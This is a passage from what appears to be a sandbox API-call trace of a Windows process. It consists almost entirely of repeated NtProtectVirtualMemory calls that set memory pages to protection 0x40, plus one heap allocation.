BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.552] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x92da50 [0250.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, 